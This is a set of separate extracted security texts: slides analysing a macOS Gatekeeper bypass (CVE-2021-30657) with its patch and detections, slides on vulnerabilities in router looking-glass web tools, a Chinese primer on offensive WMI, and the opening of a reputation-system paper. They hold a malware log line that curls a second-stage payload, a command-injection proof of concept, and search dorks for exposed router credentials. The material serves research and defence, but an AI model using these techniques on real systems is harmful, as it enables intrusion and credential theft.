[com.apple.syspolicy.exec:default] GK process assessment: /Users/patrick/Downloads/Script.app/Contents/ MacOS/Script <-- (/bin/sh, /bin/sh) syspolicyd [com.apple.syspolicy.exec:default] GK performScan: PST: (path: /Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: (null)) syspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization syspolicyd: (Security) [com.apple.securityd:notarization] checking with online notarization service for hash ... syspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0 syspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: /Users/patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: (null)), 7, 0 syspolicyd: [com.apple.syspolicy.exec:default] App gets first launch prompt because responsibility: /bin/sh, /Users/ patrick/Downloads/Script.app syspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 0, PST: (path: /Users/patrick/Downloads/ Script.app), (team: (null)), (id: (null)), (bundle_id: Script), 1, 0, 1, 0, 7, 0 syspolicyd: [com.apple.syspolicy.exec:default] GK eval - was allowed: 0, show prompt: 1 syspolicyd: [com.apple.syspolicy.exec:default] Prompt shown (7, 0), waiting for response: PST: (path: /Users/patrick/ Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: Script) scan results script-based evaluation BARE-BONED SCRIPT-BASED APP (bash) script + no Info.plist file % log stream --level debug ... syspolicyd: [com.apple.syspolicy.exec:default] Script evaluation: /Users/patrick/Downloads/PoC.app/Contents/MacOS/ PoC, /bin/sh syspolicyd: [com.apple.syspolicy.exec:default] GK process assessment: /Users/patrick/Downloads/PoC.app/Contents/MacOS/ PoC <-- (/bin/sh, /bin/sh) syspolicyd: [com.apple.syspolicy.exec:default] GK performScan: PST: (path: /Users/patrick/Downloads/PoC.app/Contents/ MacOS/PoC), (team: (null)), (id: (null)), (bundle_id: (null)) syspolicyd: [com.apple.syspolicy.exec:default] Checking legacy notarization syspolicyd: (Security) [com.apple.securityd:notarization] checking with online notarization service for hash ... syspolicyd: (Security) [com.apple.securityd:notarization] isNotarized = 0 syspolicyd: [com.apple.syspolicy.exec:default] GK scan complete: PST: (path: /Users/patrick/Downloads/PoC.app/Contents/ MacOS/PoC), (team: (null)), (id: (null)), (bundle_id: (null)), 7, 0 syspolicyd: [com.apple.syspolicy.exec:default] GK evaluateScanResult: 2, PST: (path: /Users/patrick/Downloads/PoC.app/ Contents/MacOS/PoC), (team: (null)), (id: (null)), (bundle_id: NOT_A_BUNDLE), 1, 0, 1, 0, 7, 0 syspolicyd: [com.apple.syspolicy.exec:default] Updating flags: /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC, 512 scan results script-based evaluation TO THE LOGS the (log) results mach-O || script-based app with an Info.plist file: bare-boned script-based app with no Info.plist file: GK evaluateScanResult: 0, PST: (path: /Users/ patrick/Downloads/Script.app), (team: (null)), (id: (null)), (bundle_id: Script), 1, 0, 1, 0, 7, 0 GK evaluateScanResult: 2, PST: (path: / Users/patrick/Downloads/PoC.app/Contents/ MacOS/PoC), (team: (null)), (id: (null)), (bundle_id: NOT_A_BUNDLE), 1, 0, 1, 0, 7, 0 syspolicyd GK evaluateScanResult: 0 GK evaluateScanResult: 2 vs. EVALUATION TYPE 0X2? if set, item is allowed! /* @class EvaluationManager */ -(void *)evaluateScanResult:arg2 withEvaluationArguments: arg3 withPolicy:arg4 withEvaluationType:arg5 withCodeEval:arg6 { ... if (arg5 == 0x2) { //no prompt shown // update flags and leave [evalResult setAllowed:YES]; return; } [r14 presentPromptOfType:...]; os_log_impl(..., "Prompt shown", ...); 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 for the PoC.app ...eval type is 0x2, so no prompt is shown! (lldb) po [$rdi className] EvaluationResult (lldb) po [$rdi evaluationTargetPath] ~/Downloads/PoC.app/Contents/MacOS/PoC (lldb) p (BOOL)[$rdi allowed] (BOOL) $83 = YES (lldb) p (BOOL)[$rdi wouldPrompt] (BOOL) $82 = NO evaluateScanResult: ... logic allowed, with no prompt! EVALUATION TYPE 0X2 where does it come from (returned) /* @class EvaluationPolicy */ -(unsigned long long)determineGatekeeperEvaluationTypeForTarget:arg2 withResponsibleTarget:arg3 { ... if(YES != [policyScanTarget isUserApproved]) { if(YES == [policyScanTarget isScript]) { r15 = 0x2; if(YES != [policyScanTarget isBundled]) goto leave; } leave: rax = r15; return rax; 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 we're not (yet) approved determineGatekeeperEvaluation: ... logic yes, PoC.app is script-based leave (with 0x2 (allow)), if app is "not a bundle" !? (lldb) po $rdi PST: (path: ~/Downloads/PoC.app/ Contents/MacOS/PoC), (team: (null)), (id: (null)), (bundle_id: NOT_A_BUNDLE) (lldb) p (BOOL)[$rdi isBundled] (BOOL) $1 = NO ...not a bundle? EVALUATION TYPE 0X2 returned if 'isBundle' flag not set /* @class ExecManagerPolicy */ -(void)evaluateCodeForUser:arg2 withPID:arg3 withProcessPath:arg4 withParentProcessPath:arg5 withResponsibleProcess:arg6 withLibraryPath:arg7 processIsScript: withCompletionCallback:arg9 { ... rax = sub_10001606c(rbx, 0x0); [policyScanTarget setIsBundled:rax]; 01 02 03 04 05 06 07 08 just returns 'isBundled' iVar /* @class PolicyScanTarget */ -(char)isBundled { return sign_extend_64(self->_isBundled); } 01 02 03 04 isBundled: method where is 'isBundled' set? evaluateCodeForUser: ... sets 'isBundle' flag, based on subroutine result return value passed to `setIsBundled:"` EVALUATION TYPE 0X2 why is our poc, not classified as bundle!? int sub_10001606c(arg0, arg1) { BOOL isBundle = NO; ... if ( ((sub_100015829(rbx, @"Contents/Info.plist") != 0x0) || (sub_100015829(rbx, @"Versions/Current/Resources/Info.plist") != 0x0)) || (sub_100015829(rbx, @"Info.plist") != 0x0)) { isBundle = YES; } return isBundle; 01 02 03 04 05 06 07 08 09 10 11 12 13 tldr; to be classified as a bundle, an item must have an Info.plist ! (lldb) po $rdi PST: (path: ~/Downloads/PoC.app/ Contents/MacOS/PoC), (team: (null)), (id: (null)), (bundle_id: NOT_A_BUNDLE) (lldb) p (BOOL)[$rdi isBundled] (BOOL) $1 = NO ...not a bundle our PoC (no Info.plist) IN SUMMARY ...a script-based "not a bundle" is allowed % find PoC.app PoC.app/Contents PoC.app/Contents/MacOS PoC.app/Contents/MacOS/PoC % file PoC.app/Contents/MacOS/PoC PoC.app/Contents/MacOS/PoC: POSIX shell script An application: executable, is a script no Info.plist file "All Your Macs Are Belong To Us" objective-see.com/blog/blog_0x64.html Gatekeeper? Notarization? File Quarantine? more details on reversing! In the Wild!? ...exploited as an 0day "The technically sophisticated runtime protections in macOS work at the very core of your Mac to keep your system safe from malware" -Apple THE SEARCH ...and a match!? executable, is a script no Info.plist file % find /Volumes/Installer ... /Volumes/Installer/Install /Volumes/Installer/yWnBJLaF /Volumes/Installer/yWnBJLaF/1302.app /Volumes/Installer/yWnBJLaF/1302.app/Contents /Volumes/Installer/yWnBJLaF/1302.app/Contents/MacOS /Volumes/Installer/yWnBJLaF/1302.app/Contents/MacOS/1302 % ls -lart /Volumes/Installer/Install /Volumes/Installer/Install -> yWnBJLaF/1302.app % file 1302.app/Contents/MacOS/1302 Bourne-Again shell script executable (binary data) % spctl --assess --type execute 1302.app 1302.app: rejected / source=no usable signature "1302.app" no Info.plist script-based the search criteria unsigned a candidate application? ALLOWED TO RUN ...due to the same flaw! # ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/bin/bash", "arguments" : [ “/bin/bash", "/private/…/AppTranslocation/…/1302.app/Contents/MacOS/1302" ] } } { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : “/usr/bin/curl", "arguments" : [ "curl", "-L", "https://bbuseruploads.s3.amazonaws.com/ c237a8d2-0423-4819-8ddf-492e6852c6f7/downloads/…/d9o" ] } } allowed to run! downloads 2nd stage payload ( via curl ) INFECTION VECTOR poised search results/infected sites "Shlayer malware abusing Gatekeeper bypass on macOS" -jamf.com Protections while awaiting a patch THE SIMPLE IDEA …block downloaded, non-notarized items Can we just detect (and block) the execution any download code, that is not notarized? Detect new process launches Is item from the internet? (and launched by the user) Is item non-notarized? while waiting for apple's patch block! DETECTING NEW PROCESS LAUNCHES …via Apple's Endpoint Security Framework (ESF) "Writing a Process Monitor with Apple's Endpoint Security Framework" objective-see.com/blog/blog_0x47.html //client/event of interest @property es_client_t* esClient; es_event_type_t events[] = {ES_EVENT_TYPE_AUTH_EXEC}; //new client //callback will process 'ES_EVENT_TYPE_AUTH_EXEC' events es_new_client(&esClient, ^(es_client_t *client, const es_message_t *message) { //TODO: process event // return ES_AUTH_RESULT_ALLOW or ES_AUTH_RESULT_DENY } //subscribe es_subscribe(endpointProcessClient, events, 1); 01 02 03 04 05 06 07 08 09 10 11 12 13 14 } ESF Process Exec Monitor (ES_EVENT_TYPE_AUTH_EXEC) callback for process execs IS ITEM USER-LAUNCHED & FROM THE INTERNET? …via app translocation status App Translocation translocated (write-only mount) void *handle = NULL;| bool isTranslocated = false; //get 'SecTranslocateIsTranslocatedURL' (private) API handle = dlopen("/System/Library/Frameworks/Security.framework/Security", RTLD_LAZY); secTranslocateIsTranslocatedURL = dlsym(handle, "SecTranslocateIsTranslocatedURL"); //check (will set isTranslocated variable) secTranslocateIsTranslocatedURL([NSURL fileURLWithPath:path], &isTranslocated, NULL); 01 02 03 04 05 06 07 08 09 is item translocated? (via (private) SecTranslocateIsTranslocatedURL) prevent hijack attacks (DefCon 2015) (just) app IS ITEM NOTARIZED? …via SecStaticCodeCheckValidity SecStaticCodeRef staticCode = NULL; SecRequirementRef isNotarized = nil; //init code ref / requirement string SecStaticCodeCreateWithPath(path, kSecCSDefaultFlags, &staticCode); SecRequirementCreateWithString(CFSTR("notarized"), kSecCSDefaultFlags, &isNotarized); //check against requirement string (will set isNotarized variable) SecStaticCodeCheckValidity(staticCode, kSecCSDefaultFlags, isNotarized); 01 02 03 04 05 06 07 08 09 is item notarized? (via SecStaticCodeCheckValidity) or IN ACTION …generic protection, before apple's patch! full code: BlockBlock github.com/objective-see/BlockBlock BlockBlock ...block block'ing Detections was I exploited !? THE EXECPOLICY DATABASE ...updated by syspolicyd (with decision) % log stream syspolicyd: [com.apple.syspolicy.exec:default] Updating flags: ~/PoC.app/Contents/MacOS/PoC, 512" # fs_usage -w -f filesystem | grep syspolicyd ... RdData[S] D=0x052fdb4a B=0x1000 /dev/disk1s1 /private/var/db/SystemPolicyConfiguration/ExecPolicy-wal syspolicyd.55183 /private/var/db/SystemPolicyConfiguration/ExecPolicy no item path(s)? FROM OBJECT_ID TO FILE PATH ...as it's a file inode % stat ~/Downloads/PoC.app/Contents/MacOS/PoC 16777220 2354288 ... /Users/patrick/Downloads/PoC.app/Contents/MacOS/PoC # sqlite3 ExecPolicy sqlite> .headers on sqlite> SELECT * FROM policy_scan_cache WHERE object_id = 2354288; pk|volume_uuid|object_id|fs_type_name|bundle_id|cdhash|team_identifier| signing_identifier|policy_match|malware_result|flags|mod_time|timestamp| revocation_check_time|scan_version 15949|0612A910-2C3C-4B72-9C90-1ED71F3070C3| 2354288 |apfs|NOT_A_BUNDLE|||| 7|0|512|1618194723|1618194723|1618194723|4146150715079370460 inode (2354288) -> path (~/Downloads/PoC.app/...) SCAN.PY programmatic detection of exploitations # python scan.py volume inode: 16777220 volume uuid: 0A81F3B1-51D9-3335-B3E3-169C3640360D opened 'ExecPolicy' database extracted 183 evaluated items * malicious application * ~/Downloads/yWnBJLaF/1302.app programmatic detection full code: scan.py objective-see.com/downloads/blog/blog_0x64/scan.py #get file path from vol & file inode url = Foundation.NSURL.fileURLWithPath_('/.vol/' + str(inode) + '/' + str(item[2])) result, file, error = url.getResourceValue_forKey_error_(None, "NSURLCanonicalPathKey", None) 01 02 03 file path, from file inode an application with: executable, is script no Info.plist file (also) checks that: Apple's Patch reversing CVE-2021-30657 DIFF’ING SYSPOLICYD macOS 11.2 (unpatched) vs macOS 11.3 (patched) Patched as CVE-2021-30657 (macOS 11.3) 26 blocks / 1008 bytes VS. 35 blocks / 1692 bytes BOOL <unnamed subroutine>(NSString* path) { //determine if item // is a bundle or not... return <YES/NO> } 01 02 03 04 05 06 07 unpatched patched (macOS 11.3) problematic subroutine NEW CHECKS IN SYSPOLICYD check #1: is item's path extension "app" ? BOOL isBundle(NSString* path) { ... //new check // is path extension "app" ? pathExtension = [[component pathExtension] lowercaseString]; if(YES == [rax isEqualToString:@"app"]) { return YES; } 01 02 03 04 05 06 07 08 09 patch pseudo-code mov rdx, qword [0x1000bb170] ; @selector(isEqualToString:) mov qword [rbp+var_F0], rdx … mov r13, rax mov rdi, rax ; path extension mov rsi, qword [rbp+var_F0] ; isEqualToString: lea rdx, qword [cfstring_app] ; @"app" call rbx ; objc_msgSend 01 02 03 04 05 06 07 08 patch disassembly (snippet) get path extension is it "app"? is a bundle BOOL isBundle(NSString* path) { ... //new check // item contains "Contents/MacOS" ? item = [component URLByAppendingPathComponent:@"Contents/MacOS"]; if(YES == doesFileExist(item.path)) { return YES; } 01 02 03 04 05 06 07 08 09 NEW CHECKS IN SYSPOLICYD check #2: item contain "Contents/MacOS"? mov rdx, qword [0x1000bb2e0] ; @selector(URLByAppendingPathComponent:) mov qword [rbp+var_130], rdx … mov qword [rbp+var_C8], rax mov rdi, rax mov r14, qword [rbp+var_130] mov rsi, r14 ; URLByAppendingPathComponent: lea rdx, qword [cfstring_Contents_MacOS] ; @"Contents/MacOS" call rbx ; objc_msgSend … rax = [NSFileManager defaultManager]; rax = [rax retain]; r14 = [rax fileExistsAtPath:r12]; 01 02 03 04 05 06 07 08 09 10 11 12 13 patch disassembly (snippet) build path to "Contents/MacOS" does it exist? is a bundle PATCHED! macOS now secured contains "Contents/MacOS" is ".app"? Patch summary: or is a bundle } blocked! Conclusions CONCLUSIONS } Root cause analysis of CVE-2021-30657 0day exploitation Protections, detections and patch analysis macOS (still) has shallow bugs go forth: macOS spelunking, reversing, malware analysis, & security tool development! INTERESTED IN LEARNING MORE? ...about malware analysis, macOS security topics? "Objective by the Sea" Sept 30/Oct 1 Maui, Hawaii, USA ObjectiveByTheSea.com "The Art of Mac Malware” free, at: taomm.org MAHALO! "Friends of Objective-See" Guardian Mobile Firewall SecureMac SmugMug iVerify Halo Privacy Join Us! Objective-See.com/friends.html uberAgent RESOURCES: Bundles of Joy "All Your Macs Are Belong To Us" objective-see.com/blog/blog_0x64.html "macOS Gatekeeper Bypass (2021) Addition" cedowens.medium.com/macos-gatekeeper-bypass-2021-edition-5256a2955508 "Shlayer Malware Abusing Gatekeeper Bypass On macOS" www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/
pdf
Through the Looking-Glass, and what Eve found there http://www.s3.eurecom.fr/lg/ Luca 'kaeso' Bruno <lucab@debian.org>, Mariano 'emdel' Graziano <graziano@eurecom.fr> 2 10/08/2014 About us • S3 group at Eurecom (FR) - System security – Embedded systems – Networking devices – Critical infrastructures – Memory forensics – Malware research 3 10/08/2014 Outline • Motivations • Intro to looking glasses • Threats • Vulns & incidents • Countermeasures 4 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- criminal looking for the next target –Aim: critical infrastructure –Impact: worldwide –Skill level: low –Goal: break havoc 5 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- criminal looking for the next target –The Internet –Impact: worldwide –Skill level: low –Goal: break havoc 6 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- criminal looking for the next target –The Internet –Traffic routing across ASes –Skill level: low –Goal: break havoc 7 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- criminal looking for the next target –The Internet –Traffic routing across ASes –Basic web skills, google dorks, etc... –Goal: break havoc 8 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- criminal looking for the next target –The Internet –Traffic routing across ASes –Basic web skills, google dorks, etc... –Gaining access to BGP routers 9 10/08/2014 Motivations – how this started • Picture yourself as a newbie cyber- criminal looking for the next target A good candidate: LOOKING-GLASS 10 10/08/2014 Outline • Motivations • Intro to looking glasses • Threats • Vulns & incidents • Countermeasures 11 10/08/2014 The Internet • A network of networks, glued by BGP http://www.caida.org/research/topology/as_core_network/2014/ 12 10/08/2014 One routing-table, many routing-tables • BGP is worldwide, each AS routing table is a (partial) local view • What you see depends on where you are http://blog.thousandeyes.com/4-real-bgp-troubleshooting-scenarios/ 13 10/08/2014 Connectivity troubleshooting • NOC tools for troubleshooting: – Distributed BGP probes, eg. RIPE Labs – Private shells exchange, eg. NLNOG – Limited web-access to routers, ie. via looking-glasses 14 10/08/2014 What's in a looking glass • A simple '90s style web-script: – Usually PHP or Perl – Single file, can be dropped in webroot – Direct connection to SSH/telnet router console – Cleartext config file (ie. credentials) 15 10/08/2014 How does it work Public IP (data+BGP) Private admin (telnet/SSH) Public web (looking-glass) Internet AS64496 NOC AS64497 NOC AS64498 NOC Private net Public net 16 10/08/2014 How does it look like 17 10/08/2014 Where to get it • Focus on open-source most common ones: – Cougar LG (Perl) – Cistron LG (Perl) – MRLG (Perl) – MRLG4PHP (PHP) 18 10/08/2014 Outline • Motivations • Intro to looking glasses • Threats • Vulns & incidents • Countermeasures 19 10/08/2014 Targeting humans • Assume bug-proof software • Humans can still mis-deploy it, and forget to: – Enable CGI/mod_php/mod_perl – Protect config files – Protect private SSH keys Exposed routers credentials 20 10/08/2014 Targeting the web-app • Assume some minor bugs may exist in the web frontend • Pwn the LG web interface: – Improper escaping – XSS/CSRF/etc. Cookie stealing for other web services 21 10/08/2014 Targeting the server • Assume some medium severity bugs may exist in the whole package • Pwn the host through LG: – Embedded third-party tools – Forked/modified modules Escalate to the hosting server 22 10/08/2014 Targeting the router • Assume important bugs may exist in the backend • Pwn the router through LG: – Missing input escaping – Command injection to router – Known bugs in router CLI Escalate to router administration 23 10/08/2014 Targeting the Internet • Assume you control multiple routers in multiple ASes • Pwn the Internet: – Reroute/blackhole local traffic – Announce bogus BGP prefixes Chaos ensues :) 24 10/08/2014 Outline • Motivations • Intro to looking glasses • Threat model • Vulns & incidents • Countermeasures 25 10/08/2014 Web issues • Exposed Credentials: – Stored in cleartext: IPs, usernames and passwords – Configuration files at known URLs • Cookie Stealing: – XSS vulnerabilities in LG, to target other web-apps 26 10/08/2014 Web Misconfigurations • Google Dorks for login credentials: – Find LG configuration files – Examples: ● "login" "telnet" inurl:lg.conf ● "login" "pass" inurl:lg.cfg 27 10/08/2014 Google Dorks – Exposing conf files 28 10/08/2014 Google Dorks – Exposing conf files 29 10/08/2014 Default config paths ● Example from Cougar LG root directory: as.txt CHANGELOG communities.txt COPYING favicon.ico lg.cgi lg.conf makeaslist.pl makedb.pl README ● So just crawl for it: $BASE_LG_URL/lg.conf 30 10/08/2014 Best Practices :) README sometime mentions them: ...still, we've found about 35 exposed cases! 31 10/08/2014 Exposed Source Code 32 10/08/2014 Exposed Private SSH Keys • Default path for SSH keys (CVE-2014- 3929) in Cougar LG • Where are SSH private keys stored? lg.conf:18 → /var/www/.ssh/private_key 33 10/08/2014 Exposed Private SSH Keys 34 10/08/2014 First steps into the web • No CAPTCHA anywhere! • This eases attacker's work: – Automated resource mapping (ping-back and conf dumping) – Automated command injection – Automated attacks from multiple AS (if bugs are found) 35 10/08/2014 XSS • XSS in <title> via "addr" parameter (CVE- 2014-3926) • LG maybe are not worthy web targets... – But other NOC services often are under the same-origin domain! 36 10/08/2014 XSS – for the lulz! 37 10/08/2014 Router Command Injection • What if you can run whatever CLI command you want ‽ – CVE-2014-3927 in MRLG4PHP • 'argument' parameter issue – HTML escape != sanitization • Let's look at the code (mrlg-lib.php:120) 38 10/08/2014 Router Command Injection 39 10/08/2014 Router Command Injection - PoC • From HTTP to router CLI, just adding newlines :) curl --data \ 'routerid=10 &requestid=50 &argument=8.8.8.8%0Adate%0Aexit%OA' 40 10/08/2014 Remote Memory Corruption • Sometime LG ships with embedded third- party binaries – CVE-2014-3931 in MRLG (fastping SUID bin) • ICMP echo reply is used without proper validation – fastping.c:546 Riempie_Ritardi( *((long *)&(icp->icmp_data[8])) , triptime ); • Let's have a look at the code 41 10/08/2014 Remote Memory Corruption 42 10/08/2014 Exploitation notes • 3rd-party, probably not commonly deployed – WONTFIX by upstream • Time-dependent... – But you get host time in ICMP echo request! • Every ICMP reply can overwrite one long word in memory... – And you have 100 probes on every try 43 10/08/2014 Talking about network design ● Routers admin consoles needlessly exposed over globally routable interfaces 44 10/08/2014 Outline • Motivations • Intro to looking glasses • Threat model • Vulns & incidents • Countermeasures 45 10/08/2014 Code-wise • Understand that exposing router consoles to the web with hardcoded credentials can be dangerous! • Review all critical web-services written during the wild-west '90s 46 10/08/2014 Deployment-wise • Prefer a dedicated read-only route- server as LG endpoint • Check if your private files are reachable over the web (LG config, SSH keys) • Double check your web server config! (vhost vs. default docroot) 47 10/08/2014 Administration-wise • Setup proper ACL on your routers • Use strong, unique passwords • Put admin and out-of-band services in private VLANs and subnets! 48 10/08/2014 Recap • Best-practices are often disregarded • Unaudited, old, forgotten code often sits in critical places • Attackers go for the weak links... – and escalate quickly! Internet core is fragile 49 10/08/2014 Fin Thank you for listening! Thanks to all the members of NOPS team, who helped in bug-finding 50 10/08/2014 Backup – router CLI escalation ● Cracking Cisco weak hashes – Type-0, Type-5, Type-4 (cisco-sr-20130318-type4) ● Exploiting CLI bugs – Cisco, AAA Command Authorization by-pass (cisco- sr-20060125-aaatcl) – Juniper, Unauthorized user can obtain root access using CLI (JSA10420) – Juniper, Multiple privilege escalation vulnerabilities in Junos CLI (JSA10608) 51 10/08/2014 Backup – reported incidents
pdf
本篇文章翻译自:Offensive WMI - The Basics (Part 1) :: 0xInfection's Blog — Random ramblings of an Infected Geek. 这篇文章是有关 WMI 的多篇系列文章中的第一篇,如果读者对 PowerShell 有个基本的了解,那么对阅 读本篇文章会有所帮助,但这不是必需的。 一、介绍 1.1 为何是 WMI WMI 是 Microsoft 的一组规范,旨在对 Windows 系统进行快速高效的管理。正如你可能知道的那样, 一项安全规则表明任何对管理有用的东西也很容易被不法分子滥用,WMI 确实可以做很多事情 —— 从 收集计算机状态和配置设置到运行应用程序和执行代码。此外,WMI 存在于所有可用的 Windows 操作 系统版本中,因此这里的目标范围非常广泛。 1.2 什么是 WMI 让我们快速回顾一些重要术语,WMI 是 Windows Management Instrumentation 的缩写,它是 Microsoft 对 CIM (Common Information Model,通用信息模型) 和 WBEM (Web-Based Enterprise Management,基于 Web 的企业管理) 的实现 —— 这两者都是 DMTF (Distributed Management Task Force,分布式管理任务组) 标准。WMI 为应用程序或脚本提供了一个整洁统一的界面来管理计算机 (可 能是远程的,也可能是本地的) —— 包括进程、服务等。 1.3 WMI 体系架构 了解体系架构对于了解整个 WMI 生态系统的工作方式非常重要,WMI 架构如下所示 (源于 Graeber 在 BHUSA 15 的演讲): 让我们来逐一了解主要组件: Clients/Consumers:基本上是与 WMI 类交互 (查询数据、运行方法等) 终端。比较有代表性的客 户端包括 wmic.exe 、 wbemtest.exe 、 winrm.exe 、VBScript/JScript 和 ofc PowerShell cmdlets。 Query Languages:就像 SQL 提供查询数据库的方法一样,WMI 也有用于查询 WMI 服务的 WQL (WMI 查询语言) / CQL。在管理远程盒子方面,WBEM 标准开始发挥作用,其中包括 DCOM 和 WS-Man (如果你不理解这些术语,请不要担心,请继续阅读)。WQL 是 WMI 基础 SQL 语法,因此 不区分大小写。一个简单查询 BIOS 信息语句如下: Repositories:存储类的所有静态数据的数据库,存储库由 MOF (managed object format,托管 对象格式) 文件定义,MOF 文件定义了结构、类、名称空间等,可以在 %WINDIR%\System32\Wbem\Repository 目录下找到数据库文件。 MOF 文件:MOF 文件基本上用于定义 WMI 命名空间、类、provider 等,通常位于 %WINDIR%\System32\Wbem 下,扩展名为 MOF。在本系列的后续部分中,我们将了解如何编写自 己的 MOF 文件来扩展 WMI 功能集。 select * from win32_bios Providers:可以在 WMI Providers 的帮助下访问存储库中定义的任何内容,它们通常是 Dll 文 件,并与 MOF 文件 (cimwin32.dll、stdprov.dll 等) 关联。不过,它们也可以采用其它类型 (类、 事件、事件使用者、方法等) 的形式。Providers 对生态系统至关重要,因为它们监视来自特定定义 对象的事件和数据,比如驱动程序,它在托管对象和 WMI 之间提供了一个桥梁。在下面的截图 中,dll 文件都有相对应的 MOF 文件: Managed Objects:上下文中资源的别名,即托管对象可以是 WMI 管理的服务、进程或操作系 统。 Namespaces:简言之,名称空间是类的逻辑划分,便于发现和使用,分为 3 组 (system、core、 extension) 和 3 个类型 (abstract、static、dynamic),默认情况下具有代表性的名称空间是: root\cimv2、root\default、root\security、root\subscription 等。 体系架构基本就是这样,现在,让我们来了解如何将 WMI 与 PowerShell 一起使用。 二、用 PowerShell 来操作 WMI 现在我们已经完成了理论部分,让我们快速生成一个 PS 终端,请务必记住,在 PowerShell 的 v2 之 前,只有少数 cmdlet 可以与 WMI 交互,检查 PowerShell 版本,并将版本更改为 2: 现在,让我们在 PowerShell 提示符中运行 Get-Command--CommandType Cmdlet *wmi* 命令: 提示:这些命令的名称是见名知意的 (稍后我们还会深入讨论)。在任何时候,都可以使用 Powershell 的 标准语法: help <command> 来获取有关特定命令的更多信息。例如可能希望尝试帮助调用 WmiMethod 来查看该命令的功能,类似于 Linux 手册页。 从 PowerShell v3 开始,MS 引入了 CIM cmdlet,它利用 WS-MAN 和 CIM 标准来管理对象,访问 CIM cmdlet 在两种情况下具有优势: 在 WMI/DCOM 本身被阻止运行 (可能是由于基于主机的防火墙规则?) 但启用了 WinRM/WS-MAN (Windows 远程管理) 的计算机中,我们仍然可以使用 CIM 来执行与 WMI 完全相同的操作。 CIM 本身是一个行业标准,是跨平台实现的,这意味着它也可以用于非 Windows 设备。 DCOM:分布式组件对象模型的别名,DCOM 是网络计算机上软件组件之间通信的专有 Microsoft 协 议。WMI 使用分布式 COM (DCOM) 连接到远程计算机。然而,DCOM 并不是那么友好的防火墙。 WS-MAN:WS-MAN 或 WS-Management 是一种 DMTF 标准,它为系统跨 IT 基础架构访问管理信息提 供了一种通用方法。另一方面,WS-MAN 使用 HTTP,因此绝对是防火墙友好的。 我们将重做上面所做的,但在将 Powershell 版本更改回默认版本后 (在示例中使用了 Powershell v5): Use \ Types WMI Cmdlets CIM Cmdlets 获取类的信息 Get-WmiObject Get-CimInstance 调用方法 Invoke-WmiMethod Invoke-CimMethod 订阅一个事件 Register-WmiEvent Register-CimIndicationEvent 创建/更新类的实例 Set-WmiInstance Set-CimInstance 删除类的实例 Remove-WmiObject Remove-CimInstance CIM cmdlet 可以做 WMI cmdlet 所能做的一切。如果我们希望映射 WMI cmdlet 和 CIM cmdlet 之间的 功能,以下是两种类型之间功能比较的表格表示: 2.1 使用 PowerShell 进行 WMI 查询 现在我们已经知道了可供我们使用的不同 cmdlet,我们可以尝试运行上面的示例 WQL 查询。我们已经 知道 Get WmiObject 可以用来获取关于类的信息。因此,让我们使用 -Query 参数运行 cmdlet: 三、结论 这篇文章旨在概述我们将在本系列的下一部分中处理的内容。这里有很多技术术语,但理解它们是必要 的。我希望你喜欢阅读本篇文章,期待与你一起探索。 再见,朋友! Get-WmiObject -Query 'select * from win32_bios'
pdf
Aura A peer-to-peer reputation system Cat Okita Copyright 2003 2 INDEX INDEX ................................................................................................................................................................... 2 ABSTRACT .......................................................................................................................................................... 3 INTRODUCTION................................................................................................................................................ 3 BACKGROUND .................................................................................................................................................. 3 REQUIREMENTS............................................................................................................................................... 4 METHODOLOGY............................................................................................................................................... 5 REPUTATION ...................................................................................................................................................... 5 TEMPLATES AND GOSSIP................................................................................................................................... 5 DESIGN ISSUES.................................................................................................................................................. 6 DESIGN................................................................................................................................................................. 7 IMPLEMENTATION ......................................................................................................................................... 9 CONFIGURATION.............................................................................................................................................. 11 CRITIQUE.......................................................................................................................................................... 11 RELATED WORK ............................................................................................................................................ 11 CONCLUSIONS ................................................................................................................................................ 11 AVAILABILITY................................................................................................................................................ 11 ACKNOWLEDGEMENTS .............................................................................................................................. 11 REFERENCES................................................................................................................................................... 12 3 Abstract Current reputation systems are limited in scope, typically in use only on a single site, with no cross-linkage. Aura is a peer-to-peer system designed to provide standalone and integrated trust metrics to individuals and applications. Potential applications include spam tracking, establishment of a decentralized web-of-trust, credibility ratings for websites and mailing lists, and system monitoring. Introduction Reputation systems are a means of describing social trust networks. The basic concept behind any given reputation system is a democratic meritocracy. A rating system is used to evaluate individual members, and those results are then collated to produce a consensus about the merit of any given member. The greater the number of data points about any given member, the greater the accuracy of the valuation1. Mathematically, there are many different methodologies for computing the merit of the individual. At the most basic level, one could use the arithmetic mean, median and mode as methods of describing the trust level and variance in trust ascribed to a given entity. Adding variables like the reputation rating of the entities contributing to the rating or the time that the rated entity has been known, can increase the perceived accuracy of the derived rating. In terms of practical applications, a distributed reputation system can be used to share a wide variety of information. For example, rather than relying updates to a centralized blacklist to provide information about spam sources, trusted entities could rapidly exchange new updates as they become known locally. Socially, information about shared interests, such as good musicians (although not the music itself – that’s a different type of software) could be swiftly acquired via entities that have a reputation for similar tastes. Background Reputation systems are a means of assigning a quantifiable trust metric to an identifier. Well known examples of this include Livejournal, Friendster, eBay, Advogato and Slashcode-based sites. 1 This theory fails when ratings of a given entity are diametrically opposed, leading to a false neutral. 4 Livejournal and Friendster are both more accurately described as social networks, rather than reputation systems. However, both sites do provide primitive ranking systems through the ability to describe a person as a friend. eBay’s system of user feedback is one of the best known reputation systems in current use. Buyers and sellers can leave commentary about transactions, and the number of successful transactions, and the amount of feedback (good or bad) strongly affect buyer and seller perceptions. Many sellers will not accept certain types of payment from buyers with low transaction counts – some will not accept bids at all! Slashcode moderation is a classic example of a reputation system. Postings on a Slashcode driven system are 